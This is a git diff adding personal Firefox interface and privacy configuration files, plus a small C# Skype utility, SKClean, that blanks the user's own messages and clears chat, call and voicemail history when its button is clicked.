diff --git a/.mozilla/firefox/profile.default/chrome/userChrome.css b/.mozilla/firefox/profile.default/chrome/userChrome.css new file mode 100644 index 0000000..6088047 --- /dev/null +++ b/.mozilla/firefox/profile.default/chrome/userChrome.css @@ -0,0 +1,82 @@ +/* context menu - blank */ +#context-back,#context-bookmarkpage,#context-forward,#context-inspect,#context-navigation,#context-pocket,#context-reload,#context-savepage,#context-selectall,#context-sendpagetodevice,#context-sep-navigation,#context-sep-sendpagetodevice,#context-sep-viewbgimage,#context-sep-viewsource,#context-stop,#context-viewinfo,#context-viewsource,#inspect-separator,#screenshots_mozilla_org_create-screenshot{display:none !important} + +/* context menu - frame */ +#context-bookmarkframe,#context-openframe,#context-openframeintab,#context-printframe,#context-printframe + menuseparator,#context-reloadframe,#context-reloadframe + menuseparator,#context-saveframe,#context-saveframe + menuseparator,#context-showonlythisframe,#context-viewframeinfo,#context-viewframesource,#open-frame-sep{display:none !important} + +/* context menu - image */ +#context-reloadimage,#context-sendimage,#context-sep-copyimage,#context-setDesktopBackground,#context-viewimageinfo{display:none !important} + +/* context menu - input */ +#context-bidi-page-direction-toggle,#context-bidi-text-direction-toggle,#context-copy,#context-cut,#context-delete,#context-keywordfield,#context-paste,#context-selectall,#context-sep-bidi,#context-sep-paste,#context-sep-undo,#context-undo,#fill-login,#fill-login-separator,#spell-add-dictionaries-main,#spell-check-enabled,#spell-dictionaries,#spell-separator{display:none !important} + +/* context menu - link */ +#context-bookmarklink,#context-openlink,#context-openlinkinusercontext-menu,#context-openlinkprivate,#context-savelinktopocket,#context-searchselect,#context-sendlinktodevice,#context-sep-open,#context-sep-sendlinktodevice{display:none !important} + +/* context menu - media */ +#context-sendaudio{display:none !important} + +/* context menu - page action */ +#pageAction-panel-addSearchEngine,#pageAction-panel-bookmark,#pageAction-panel-bookmarkSeparator,#pageAction-panel-builtInSeparator,#pageAction-panel-copyURL,#pageAction-panel-emailLink,#pageAction-panel-pocket,#pageAction-panel-screenshots,#pageAction-panel-sendToDevice,#pageAction-panel-transientSeparator,#pageAction-panel-webcompat-reporter-button{display:none !important} + +/* context menu - select */ +#context-viewpartialsource-selection{display:none !important} + +/* context menu - side bar */ +#placesContext_copy,#placesContext_createBookmark,#placesContext_cut,#placesContext_deleteHost,#placesContext_deleteSeparator,#placesContext_delete_history,#placesContext_editSeparator,#placesContext_openLinks:tabs,#placesContext_open:newprivatewindow,#placesContext_open:newwindow,#placesContext_paste,#placesContext_reload{display:none !important} + +/* context menu - tab */ +#context_closeOtherTabs,#context_closeTabsToTheEnd,#context_duplicateTab,#context_duplicateTab + menuseparator,#context_moveTabOptions,#context_pinSelectedTabs,#context_reloadSelectedTabs,#context_reloadTab,#context_reopenInContainer,#context_sendTabToDevice,#context_sendTabToDevice + menuseparator,#context_toggleMuteSelectedTabs,#context_undoCloseTab,#context_unpinSelectedTabs{display:none !important} + +/* context menu - tool bar */ +#toggle_PersonalToolbar,#toggle_toolbar-menubar,#toolbar-context-bookmarkSelectedTab,#toolbar-context-bookmarkSelectedTabs,#toolbar-context-reloadSelectedTab,#toolbar-context-reloadSelectedTabs,#toolbar-context-selectAllTabs,#toolbar-context-undoCloseTab,#toolbar-context-undoCloseTab + menuseparator,.customize-context-autoHide,.customize-context-manageExtension,.customize-context-moveToPanel,.customize-context-removeExtension,.customize-context-removeExtension + menuseparator,.customize-context-removeFromToolbar,.viewCustomizeToolbar{display:none !important} + + +/* context menu - url bar */ +#urlbar menuitem[anonid="paste-and-go"],#urlbar menuitem[cmd="cmd_copy"],#urlbar menuitem[cmd="cmd_cut"],#urlbar menuitem[cmd="cmd_delete"],#urlbar menuitem[cmd="cmd_delete"] + menuseparator,#urlbar menuitem[cmd="cmd_paste"],#urlbar menuitem[cmd="cmd_selectAll"],#urlbar menuitem[cmd="cmd_undo"],#urlbar menuitem[cmd="cmd_undo"] + menuseparator{display:none !important} + +/* find bar - hide extra options */ +.findbar-entire-word, .findbar-case-sensitive, .findbar-highlight {visibility: collapse !important} + +/* nav bar - hide back & forward buttons */ +:-moz-any(#back-button, #forward-button){display:none !important} + +/* nav bar - hide hamburger button */ +#PanelUI-menu-button{display:none} + +/* nav + tab bar merge */ +:root[uidensity=compact]{--tabs-margin-left:3em;--space-before-tabs:34.5em;--space-after-tabs:2em;--nav-margin-top:-1.9em;--menu-margin-top:0.05em} +#TabsToolbar{margin-left:var(--tabs-margin-left) !important;padding-left:var(--space-before-tabs) !important;margin-right:var(--space-after-tabs) !important;margin-bottom:-0.1em; !important} +#nav-bar{margin-top:var(--nav-margin-top) !important;margin-right:60vw !important;margin-bottom:-0.1em !important;background-color:transparent !important} + +/* side bar - hide header & search */ +#sidebar-header,#sidebar-search-container{display:none} + +/* tab bar - close button on hover only */ +.tabbrowser-tab:not([selected]):not([pinned]) .tab-close-button{display:none !important} +.tabbrowser-tab:not([selected]):not([pinned]):hover .tab-close-button{display:-moz-box !important} + +/* tab bar - hide buttons */ +.tabbrowser-strip *[class^="scrollbutton"], .tabbrowser-strip *[class^="tabs-alltabs"], .tabbrowser-strip *[class^="tabs-newtab-button"]{display:none} + +/* tool bar - compact icons */ +#widget-overflow-fixed-list{display:grid;grid-template-rows:repeat(1,1.5em);grid-template-columns:repeat(20, 15em)} +#widget-overflow-fixed-list .toolbarbutton-1 > .toolbarbutton-text{display:none !important} + +/* url bar - hide bookmark star */ +#star-button{display:none !important} + +/* url bar - hide dropdown */ +.urlbar-history-dropmarker{display:none !important} + +/* url bar - hide feed button */ +#feed-button {display:none !important} + +/* url bar - hide info icon */ +#urlbar:not(.grantedPermissions) #identity-icon{transition:300ms !important;opacity:0 !important;-moz-margin-end:-1.1em !important} + +/* url bar - hide page actions */ +#pageActionButton{display:none !important} + +#urlbar-container {max-width: 400px !important;} +#search-container {max-width: 200px !important;} \ No newline at end of file diff --git a/.mozilla/firefox/profile.default/chrome/userContent.css b/.mozilla/firefox/profile.default/chrome/userContent.css new file mode 100644 index 0000000..c2d8133 --- /dev/null +++ b/.mozilla/firefox/profile.default/chrome/userContent.css @@ -0,0 +1,4 @@ +/* color blank pages for dark theme */ +@-moz-document url("about:blank"){*:empty:not([id]):not([style]){background-color:#474749 !important;}} +@-moz-document url("about:home"), url("about:newtab"){.activity-stream{background-color:#474749 !important;}} +@-moz-document url("about:newtab"){input#newtab-customize-button{display:none !important;}} \ No newline at end of file diff --git a/.mozilla/firefox/profile.default/mozilla.cfg b/.mozilla/firefox/profile.default/mozilla.cfg new file mode 100644 index 0000000..e603041 --- /dev/null +++ b/.mozilla/firefox/profile.default/mozilla.cfg @@ -0,0 +1,68 @@ +// custom prefs +lockPref("accessibility.typeaheadfind.autostart", false) // http://kb.mozillazine.org/Accessibility.typeaheadfind.autostart +lockPref("accessibility.typeaheadfind.enablesound", false) // http://kb.mozillazine.org/Accessibility.typeaheadfind.enablesound +lockPref("app.update.auto", false) // http://kb.mozillazine.org/App.update.auto +lockPref("app.update.enabled", true) // http://kb.mozillazine.org/App.update.enabled +lockPref("beacon.enabled", false) +lockPref("browser.aboutHomeSnippets.updateUrl", "") +lockPref("browser.backspace_action", 0) // http://kb.mozillazine.org/Browser.backspace_action +lockPref("browser.bookmarks.max_backups", 0) // http://kb.mozillazine.org/Browser.bookmarks.max_backups +lockPref("browser.cache.check_doc_frequency", 3) // http://kb.mozillazine.org/Browser.cache.check_doc_frequency +lockPref("browser.cache.disk.enable", false) // http://kb.mozillazine.org/Browser.cache.disk.enable +lockPref("browser.cache.disk_cache_ssl", false) // http://kb.mozillazine.org/Browser.cache.disk_cache_ssl +lockPref("browser.cache.memory.capacity", -1) // http://kb.mozillazine.org/Browser.cache.memory.capacity +lockPref("browser.cache.memory.enable", true) // http://kb.mozillazine.org/Browser.cache.memory.enable +lockPref("browser.cache.offline.enable", false) // http://kb.mozillazine.org/Browser.cache.offline.enable +lockPref("browser.chrome.site_icons", false) // http://kb.mozillazine.org/Browser.chrome.site_icons +lockPref("browser.chrome.toolbar_tips", false) // http://kb.mozillazine.org/Browser.chrome.toolbar_tips +lockPref("browser.download.manager.addToRecentDocs", false) // http://kb.mozillazine.org/Browser.download.manager.addToRecentDocs +lockPref("browser.formfill.enable", false) +lockPref("browser.link.open_newwindow", 3) // http://kb.mozillazine.org/Browser.link.open_newwindow +lockPref("browser.link.open_newwindow.restriction", 0) // http://kb.mozillazine.org/Browser.link.open_newwindow.restriction +lockPref("browser.newtabpage.enabled", false) +lockPref("browser.privatebrowsing.autostart", true) +lockPref("browser.safebrowsing.malware.enabled", false) +lockPref("browser.safebrowsing.phishing.enabled", false) +lockPref("browser.safebrowsing.downloads.enabled", false) +lockPref("browser.search.suggest.enabled", false) // http://kb.mozillazine.org/Browser.search.suggest.enabled +lockPref("browser.send_pings", false) // http://kb.mozillazine.org/Browser.send_pings +lockPref("browser.sessionhistory.max_total_viewers", 3) // http://kb.mozillazine.org/Browser.sessionhistory.max_total_viewers +lockPref("browser.sessionstore.max_resumed_crashes", 0) // http://kb.mozillazine.org/Browser.sessionstore.max_resumed_crashes +lockPref("browser.sessionstore.max_tabs_undo", 3) // http://kb.mozillazine.org/Browser.sessionstore.max_tabs_undo +lockPref("browser.sessionstore.privacy_level", 2) // http://kb.mozillazine.org/Browser.sessionstore.privacy_level +lockPref("browser.sessionstore.resume_from_crash", false) // http://kb.mozillazine.org/Browser.sessionstore.resume_from_crash +lockPref("browser.startup.page", 0) // http://kb.mozillazine.org/Browser.startup.page +lockPref("browser.tabs.crashReporting.sendReport", false) +lockPref("browser.urlbar.autoFill", false) +lockPref("browser.urlbar.autocomplete.enabled", false) +lockPref("browser.urlbar.maxRichResults", 0) // http://kb.mozillazine.org/Browser.urlbar.maxRichResults +lockPref("browser.zoom.siteSpecific", false) +lockPref("dom.battery.enabled", false) +lockPref("dom.event.clipboardevents.enabled", false) +lockPref("dom.event.contextmenu.enabled", false) +lockPref("general.warnOnAboutConfig", false) // http://kb.mozillazine.org/General.warnOnAboutConfig +lockPref("geo.enabled", false) +lockPref("extensions.pocket.enabled", false) +lockPref("extensions.screenshots.disabled", true) +lockPref("image.animation_mode", "once") +lockPref("layout.spellcheckDefault", 0) +lockPref("network.cookie.cookieBehavior", 1) // http://kb.mozillazine.org/Network.cookie.cookieBehavior +lockPref("network.cookie.lifetimePolicy", 2) // http://kb.mozillazine.org/Network.cookie.lifetimePolicy +lockPref("network.dns.disablePrefetch", true) // http://kb.mozillazine.org/Network.dns.disablePrefetch +lockPref("network.dnsCacheEntries", 10) // http://kb.mozillazine.org/Network.dnsCacheEntries +lockPref("network.http.referer.XOriginPolicy", 0) +lockPref("network.http.referer.spoofSource", true) +lockPref("network.http.sendRefererHeader", 0) +lockPref("network.IDN_show_punycode", true) // http://kb.mozillazine.org/Network.IDN_show_punycode +lockPref("network.prefetch-next", false) // http://kb.mozillazine.org/Network.prefetch-next +lockPref("places.history.enabled", false) +lockPref("signon.autofillForms", false) // http://kb.mozillazine.org/Signon.autofillForms +lockPref("plugins.flashBlock.enabled", true) +lockPref("privacy.clearOnShutdown.*", true) +lockPref("privacy.cpd.*", true) +lockPref("privacy.donottrackheader.enabled", true) +lockPref("privacy.sanitize.sanitizeOnShutdown", true) +lockPref("privacy.trackingprotection.enabled", true) +lockPref("reader.parse-on-load.enabled", false) +lockPref("security.dialog_enable_delay", 0) +lockPref("toolkit.cosmeticAnimations.enabled", false) diff --git a/c#/SKClean/SKClean.exe b/c#/SKClean/SKClean.exe new file mode 100644 index 0000000..83b12fc Binary files /dev/null and b/c#/SKClean/SKClean.exe differ diff --git a/c#/SKClean/SKClean/SKClean.sln b/c#/SKClean/SKClean/SKClean.sln new file mode 100644 index 0000000..2a4de6f --- /dev/null +++ b/c#/SKClean/SKClean/SKClean.sln @@ -0,0 +1,22 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Express 2013 for Windows Desktop +VisualStudioVersion = 12.0.21005.1 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SKClean", "SKClean\SKClean.csproj", "{07708324-3B4B-43AA-A630-9FD2263C8134}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {07708324-3B4B-43AA-A630-9FD2263C8134}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {07708324-3B4B-43AA-A630-9FD2263C8134}.Debug|Any CPU.Build.0 = Debug|Any CPU + {07708324-3B4B-43AA-A630-9FD2263C8134}.Release|Any CPU.ActiveCfg = Release|Any CPU + {07708324-3B4B-43AA-A630-9FD2263C8134}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/c#/SKClean/SKClean/SKClean.v12.suo b/c#/SKClean/SKClean/SKClean.v12.suo new file mode 100644 index 0000000..1802da2 Binary files /dev/null and b/c#/SKClean/SKClean/SKClean.v12.suo differ diff --git a/c#/SKClean/SKClean/SKClean/App.config b/c#/SKClean/SKClean/SKClean/App.config new file mode 100644 index 0000000..fad249e --- /dev/null +++ b/c#/SKClean/SKClean/SKClean/App.config @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/c#/SKClean/SKClean/SKClean/Main.Designer.cs b/c#/SKClean/SKClean/SKClean/Main.Designer.cs new file mode 100644 index 0000000..4d6e99e --- /dev/null +++ b/c#/SKClean/SKClean/SKClean/Main.Designer.cs @@ -0,0 +1,85 @@ +namespace SKClean +{ + partial class Main + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.buttonClean = new System.Windows.Forms.Button(); + this.optionLeave = new System.Windows.Forms.CheckBox(); + this.SuspendLayout(); + // + // buttonClean + // + this.buttonClean.Location = new System.Drawing.Point(12, 12); + this.buttonClean.Name = "buttonClean"; + this.buttonClean.Size = new System.Drawing.Size(81, 38); + this.buttonClean.TabIndex = 0; + this.buttonClean.Text = "C L E A N"; + this.buttonClean.UseVisualStyleBackColor = true; + this.buttonClean.Click += new System.EventHandler(this.buttonClean_Click); + // + // optionLeave + // + this.optionLeave.AutoSize = true; + this.optionLeave.Location = new System.Drawing.Point(12, 56); + this.optionLeave.Name = "optionLeave"; + this.optionLeave.Size = new System.Drawing.Size(81, 17); + this.optionLeave.TabIndex = 1; + this.optionLeave.Text = "Leave Chat"; + this.optionLeave.UseVisualStyleBackColor = true; + // + // Main + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(105, 85); + this.Controls.Add(this.optionLeave); + this.Controls.Add(this.buttonClean); + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle; + this.MaximizeBox = false; + this.MaximumSize = new System.Drawing.Size(115, 118); + this.MinimizeBox = false; + this.MinimumSize = new System.Drawing.Size(115, 118); + this.Name = "Main"; + this.ShowIcon = false; + this.ShowInTaskbar = false; + this.SizeGripStyle = System.Windows.Forms.SizeGripStyle.Hide; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "SKClean"; + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + private System.Windows.Forms.Button buttonClean; + private System.Windows.Forms.CheckBox optionLeave; + + } +} + diff --git a/c#/SKClean/SKClean/SKClean/Main.cs b/c#/SKClean/SKClean/SKClean/Main.cs new file mode 100644 index 0000000..ded5c51 --- /dev/null +++ b/c#/SKClean/SKClean/SKClean/Main.cs @@ -0,0 +1,45 @@ +#region Imports +using SKYPE4COMLib; +using System; +using System.Windows.Forms; +#endregion + +namespace SKClean { + public partial class Main : Form { + public static Skype API = new Skype(); + + #region Startup + public Main() { + InitializeComponent(); + } + #endregion + + #region Clean Button + private void buttonClean_Click(object sender, EventArgs e) { + API.Attach(5, true); + foreach (Chat chat in API.ActiveChats) { + foreach (ChatMessage msg in chat.Messages) { + if (msg.IsEditable) + try { + msg.Body = ""; + } catch { + continue; + } + } + if (optionLeave.Checked) { + try { + chat.SendMessage("/topic ."); + chat.Leave(); + } catch { + continue; + } + + } + } + API.ClearCallHistory(); + API.ClearChatHistory(); + API.ClearVoicemailHistory(); + } + #endregion + } +} diff --git a/c#/SKClean/SKClean/SKClean/Main.resx b/c#/SKClean/SKClean/SKClean/Main.resx new file mode 100644 index 0000000..3bf930b --- /dev/null +++ b/c#/SKClean/SKClean/SKClean/Main.resx @@ -0,0 +1,123 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + True + + \ No newline at end of file diff --git a/c#/SKClean/SKClean/SKClean/Program.cs b/c#/SKClean/SKClean/SKClean/Program.cs new file mode 100644 index 0000000..7a2d608 --- /dev/null +++ b/c#/SKClean/SKClean/SKClean/Program.cs @@ -0,0 +1,15 @@ +#region Imports +using System; +using System.Windows.Forms; +#endregion + +namespace SKClean { + static class Program { + [STAThread] + static void Main() { + Application.EnableVisualStyles(); + Application.SetCompatibleTextRenderingDefault(false); + Application.Run(new Main()); + } + } +} diff --git a/c#/SKClean/SKClean/SKClean/Properties/AssemblyInfo.cs b/c#/SKClean/SKClean/SKClean/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..653d90c --- /dev/null +++ b/c#/SKClean/SKClean/SKClean/Properties/AssemblyInfo.cs @@ -0,0 +1,36 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// General Information about an assembly is controlled through the following +// set of attributes. Change these attribute values to modify the information +// associated with an assembly. +[assembly: AssemblyTitle("SKClean")] +[assembly: AssemblyDescription("A Skype tool to quickly remove all your messages & erase history.")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("LCS Inc.")] +[assembly: AssemblyProduct("SKClean")] +[assembly: AssemblyCopyright("Copyright © 2014")] +[assembly: AssemblyTrademark("LCS Inc.")] +[assembly: AssemblyCulture("")] + +// Setting ComVisible to false makes the types in this assembly not visible +// to COM components. If you need to access a type in this assembly from +// COM, set the ComVisible attribute to true on that type. +[assembly: ComVisible(false)] + +// The following GUID is for the ID of the typelib if this project is exposed to COM +[assembly: Guid("87c1aa4d-d5e6-47ca-bcd9-bb3d88f147fe")] + +// Version information for an assembly consists of the following four values: +// +// Major Version +// Minor Version +// Build Number +// Revision +// +// You can specify all the values or you can default the Build and Revision Numbers +// by using the '*' as shown below: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.0.0.0")] +[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/c#/SKClean/SKClean/SKClean/Properties/Resources.Designer.cs b/c#/SKClean/SKClean/SKClean/Properties/Resources.Designer.cs new file mode 100644 index 0000000..2c22656 --- /dev/null +++ b/c#/SKClean/SKClean/SKClean/Properties/Resources.Designer.cs @@ -0,0 +1,71 @@ +//------------------------------------------------------------------------------ +// +// This code was generated by a tool. +// Runtime Version:4.0.30319.18449 +// +// Changes to this file may cause incorrect behavior and will be lost if +// the code is regenerated. +// +//------------------------------------------------------------------------------ + +namespace SKClean.Properties +{ + + + /// + /// A strongly-typed resource class, for looking up localized strings, etc. + /// + // This class was auto-generated by the StronglyTypedResourceBuilder + // class via a tool like ResGen or Visual Studio. + // To add or remove a member, edit your .ResX file then rerun ResGen + // with the /str option, or rebuild your VS project. + [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")] + [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] + [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] + internal class Resources + { + + private static global::System.Resources.ResourceManager resourceMan; + + private static global::System.Globalization.CultureInfo resourceCulture; + + [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] + internal Resources() + { + } + + /// + /// Returns the cached ResourceManager instance used by this class. + /// + [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] + internal static global::System.Resources.ResourceManager ResourceManager + { + get + { + if ((resourceMan == null)) + { + global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("SKClean.Properties.Resources", typeof(Resources).Assembly); + resourceMan = temp; + } + return resourceMan; + } + } + + /// + /// Overrides the current thread's CurrentUICulture property for all + /// resource lookups using this strongly typed resource class. + /// + [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] + internal static global::System.Globalization.CultureInfo Culture + { + get + { + return resourceCulture; + } + set + { + resourceCulture = value; + } + } + } +} diff --git a/c#/SKClean/SKClean/SKClean/Properties/Resources.resx b/c#/SKClean/SKClean/SKClean/Properties/Resources.resx new file mode 100644 index 0000000..ffecec8 --- /dev/null +++ b/c#/SKClean/SKClean/SKClean/Properties/Resources.resx @@ -0,0 +1,117 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/c#/SKClean/SKClean/SKClean/Properties/Settings.Designer.cs b/c#/SKClean/SKClean/SKClean/Properties/Settings.Designer.cs new file mode 100644 index 0000000..44a2a6b --- /dev/null +++ b/c#/SKClean/SKClean/SKClean/Properties/Settings.Designer.cs @@ -0,0 +1,30 @@ +//------------------------------------------------------------------------------ +// +// This code was generated by a tool. +// Runtime Version:4.0.30319.18449 +// +// Changes to this file may cause incorrect behavior and will be lost if +// the code is regenerated. +// +//------------------------------------------------------------------------------ + +namespace SKClean.Properties +{ + + + [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] + [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "11.0.0.0")] + internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase + { + + private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); + + public static Settings Default + { + get + { + return defaultInstance; + } + } + } +} diff --git a/c#/SKClean/SKClean/SKClean/Properties/Settings.settings b/c#/SKClean/SKClean/SKClean/Properties/Settings.settings new file mode 100644 index 0000000..abf36c5 --- /dev/null +++ b/c#/SKClean/SKClean/SKClean/Properties/Settings.settings @@ -0,0 +1,7 @@ + + + + + + + diff --git a/c#/SKClean/SKClean/SKClean/SKClean.csproj b/c#/SKClean/SKClean/SKClean/SKClean.csproj new file mode 100644 index 0000000..fc58987 --- /dev/null +++ b/c#/SKClean/SKClean/SKClean/SKClean.csproj @@ -0,0 +1,106 @@ + + + + + Debug + AnyCPU + {07708324-3B4B-43AA-A630-9FD2263C8134} + WinExe + Properties + SKClean + SKClean + v4.5 + 512 + + + AnyCPU + true + full + false + bin\Debug\ + DEBUG;TRACE + prompt + 4 + false + + + AnyCPU + pdbonly + true + bin\Release\ + TRACE + prompt + 4 + + + icon.ico + + + + + + + + + + + + + + + + Form + + + Main.cs + + + + + Main.cs + + + ResXFileCodeGenerator + Resources.Designer.cs + Designer + + + True + Resources.resx + + + SettingsSingleFileGenerator + Settings.Designer.cs + + + True + Settings.settings + True + + + + + + + + {03282B5D-B38F-469D-849A-09B0A7F4881B} + 1 + 0 + 0 + tlbimp + False + True + + + + + + + + \ No newline at end of file diff --git a/c#/SKClean/SKClean/SKClean/bin/Debug/SKClean.exe b/c#/SKClean/SKClean/SKClean/bin/Debug/SKClean.exe new file mode 100644 index 0000000..83b12fc Binary files /dev/null and b/c#/SKClean/SKClean/SKClean/bin/Debug/SKClean.exe differ diff --git a/c#/SKClean/SKClean/SKClean/bin/Debug/SKClean.exe.config b/c#/SKClean/SKClean/SKClean/bin/Debug/SKClean.exe.config new file mode 100644 index 0000000..fad249e --- /dev/null +++ b/c#/SKClean/SKClean/SKClean/bin/Debug/SKClean.exe.config @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/c#/SKClean/SKClean/SKClean/bin/Debug/SKClean.pdb b/c#/SKClean/SKClean/SKClean/bin/Debug/SKClean.pdb new file mode 100644 index 0000000..667e94d Binary files /dev/null and b/c#/SKClean/SKClean/SKClean/bin/Debug/SKClean.pdb differ diff --git a/c#/SKClean/SKClean/SKClean/bin/Debug/SKClean.vshost.exe b/c#/SKClean/SKClean/SKClean/bin/Debug/SKClean.vshost.exe new file mode 100644 index 0000000..c0dfecc Binary files /dev/null and b/c#/SKClean/SKClean/SKClean/bin/Debug/SKClean.vshost.exe differ diff --git a/c#/SKClean/SKClean/SKClean/bin/Debug/SKClean.vshost.exe.config b/c#/SKClean/SKClean/SKClean/bin/Debug/SKClean.vshost.exe.config new file mode 100644 index 0000000..fad249e --- /dev/null +++ b/c#/SKClean/SKClean/SKClean/bin/Debug/SKClean.vshost.exe.config @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/c#/SKClean/SKClean/SKClean/icon.ico b/c#/SKClean/SKClean/SKClean/icon.ico new file mode 100644 index 0000000..38c0fb8 Binary files /dev/null and b/c#/SKClean/SKClean/SKClean/icon.ico differ diff --git a/c#/SKClean/SKClean/SKClean/obj/Debug/DesignTimeResolveAssemblyReferences.cache b/c#/SKClean/SKClean/SKClean/obj/Debug/DesignTimeResolveAssemblyReferences.cache new file mode 100644 index 0000000..0b247cc Binary files /dev/null and b/c#/SKClean/SKClean/SKClean/obj/Debug/DesignTimeResolveAssemblyReferences.cache differ diff --git a/c#/SKClean/SKClean/SKClean/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache b/c#/SKClean/SKClean/SKClean/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache new file mode 100644 index 0000000..c6ff901 Binary files /dev/null and b/c#/SKClean/SKClean/SKClean/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache differ diff --git a/c#/SKClean/SKClean/SKClean/obj/Debug/Interop.SKYPE4COMLib.dll b/c#/SKClean/SKClean/SKClean/obj/Debug/Interop.SKYPE4COMLib.dll new file mode 100644 index 0000000..2db7fa0 Binary files /dev/null and b/c#/SKClean/SKClean/SKClean/obj/Debug/Interop.SKYPE4COMLib.dll differ diff --git a/c#/SKClean/SKClean/SKClean/obj/Debug/SKClean.Main.resources b/c#/SKClean/SKClean/SKClean/obj/Debug/SKClean.Main.resources new file mode 100644 index 0000000..6c05a97 Binary files /dev/null and b/c#/SKClean/SKClean/SKClean/obj/Debug/SKClean.Main.resources differ diff --git a/c#/SKClean/SKClean/SKClean/obj/Debug/SKClean.Properties.Resources.resources b/c#/SKClean/SKClean/SKClean/obj/Debug/SKClean.Properties.Resources.resources new file mode 100644 index 0000000..6c05a97 Binary files /dev/null and b/c#/SKClean/SKClean/SKClean/obj/Debug/SKClean.Properties.Resources.resources differ diff --git a/c#/SKClean/SKClean/SKClean/obj/Debug/SKClean.csproj.FileListAbsolute.txt b/c#/SKClean/SKClean/SKClean/obj/Debug/SKClean.csproj.FileListAbsolute.txt new file mode 100644 index 0000000..d17152c --- /dev/null +++ b/c#/SKClean/SKClean/SKClean/obj/Debug/SKClean.csproj.FileListAbsolute.txt @@ -0,0 +1,33 @@ +c:\users\kayla\documents\visual studio 2013\Projects\SKClean\SKClean\bin\Debug\SKClean.exe.config +c:\users\kayla\documents\visual studio 2013\Projects\SKClean\SKClean\bin\Debug\SKClean.exe +c:\users\kayla\documents\visual studio 2013\Projects\SKClean\SKClean\bin\Debug\SKClean.pdb +c:\users\kayla\documents\visual studio 2013\Projects\SKClean\SKClean\obj\Debug\SKClean.csprojResolveAssemblyReference.cache +c:\users\kayla\documents\visual studio 2013\Projects\SKClean\SKClean\obj\Debug\Interop.SKYPE4COMLib.dll +c:\users\kayla\documents\visual studio 2013\Projects\SKClean\SKClean\obj\Debug\SKClean.csproj.ResolveComReference.cache +c:\users\kayla\documents\visual studio 2013\Projects\SKClean\SKClean\obj\Debug\SKClean.Main.resources +c:\users\kayla\documents\visual studio 2013\Projects\SKClean\SKClean\obj\Debug\SKClean.Properties.Resources.resources +c:\users\kayla\documents\visual studio 2013\Projects\SKClean\SKClean\obj\Debug\SKClean.csproj.GenerateResource.Cache +c:\users\kayla\documents\visual studio 2013\Projects\SKClean\SKClean\obj\Debug\SKClean.exe +c:\users\kayla\documents\visual studio 2013\Projects\SKClean\SKClean\obj\Debug\SKClean.pdb +C:\Users\Kayla\Desktop\SKClean\SKClean\SKClean\bin\Debug\SKClean.exe.config +C:\Users\Kayla\Desktop\SKClean\SKClean\SKClean\bin\Debug\SKClean.exe +C:\Users\Kayla\Desktop\SKClean\SKClean\SKClean\bin\Debug\SKClean.pdb 